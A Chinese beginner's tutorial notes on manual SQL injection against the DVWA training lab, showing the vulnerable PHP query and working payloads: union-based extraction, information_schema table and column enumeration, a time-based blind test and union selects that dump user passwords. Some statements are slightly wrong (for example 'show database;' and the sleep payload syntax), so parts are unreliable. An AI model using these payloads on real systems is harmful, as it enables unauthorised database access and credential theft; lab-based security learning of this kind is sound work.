作者:小刚
一位苦于信息安全的萌新小白帽,记得关注给个赞,谢谢
本实验仅用于信息防御教学,切勿用于它用途
搞了两天得我,终于明白了一点SQL注入的原理
sql注入说白了就是对于数据库的查询没有进行防护过滤,攻击者通过构造sql查询语句,达到查看数据库信息的一种方式。
本次是通过dvwa的sql注入口进行学习
本次注入测试只是针对于MySQL数据库低安全度的查询语句:
$id = $_GET['id'];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
这一句算是最基础的数据库查询语句,通过user_id=@aa条件来查找dvwa库users表中的列的信息。
由于没有对用户的输入$id进行过滤,就很容易构造出各种各样花里胡哨的查询库信息的语句。
show database;显示所有数据库
show tables;显示数据库列表
select database();显示当前的库
select user();显示当前的用户
select now();当前时间
use dvwa;进入dvwa库
desc users;查看表users内容
desc dvwa.users;可以从这个库看别的库的表名
最主要的是 ’ ,如果查询时报错,说明没有对输入内容进行过滤,就有可能存在注入点,当然,对于其他进行了优化处理的,需要你自己慢慢摸索。
select * from users;
查看users表中所有字段
select * from dvwa.users;
查看dvwa库的users表中的字段
select user,passwd from users;
从users表查询user和passwd表
select * from mysql.users where user=root;
#root为字段
select * from mysql.users where user='root';
#root为值,数字不能是字段,需要引号
select user,passwd from users where user=8888 or 1=1;
#user=88不成立,1=1成立,所以整条语句成立
select * from admin where users union select 15,66,33;
#*的字段数目要个后面字段数一致,这就要猜字段数,数字可以随便充当字段。
select user,passwd,first_name from users union select first_name,last_name,3 from dvwa.users limit 5;
#limit是显示几行
select * from admin.user;
数据库user表名
基本模板是:
' or 1=1 union select 1,2,3 from users where users_id =1 --
注意得到是单引号是把前面的语句补齐,双横线是把后面的内容给注释掉。
在盲注时候,输入单引号可能不会报错,所以你无法确切是否存在sql注入。这时候就需要一个时间睡眠
1' sleep(5) --
如果查询延续了五秒,说明没有被过滤,存在SQL注入
这是数据库中非常特殊的一个库,也是非常牛逼的一个库,只要搞到里面的信息,整个数据库的信息你基本都可以查到了。它相当于数据库字典,查询数据库名和表名。
select table_schema,group_concat(table_name) from information_schema.tables group by table_schema; #查询数据库名和对应的表名
各种构造:
' union select 1,table_name from information_schema.tables -- '
查询表名
' union select 1,column_name from information_schema.columns where table_name='users' --
查询列名
' union select user,password from users --
emm
' union select password,concat(first_name, ' ##' ,last_name, ' **' , user) from users --
查询多个信息
以上是我通过手工注入时所用到的各种语句,如果嫌麻烦可以用sqlmap等神奇的工具进行查询。但好多sql查询还是靠手工测试来的准确,所以懂得sql注入的原理还是比较重要的。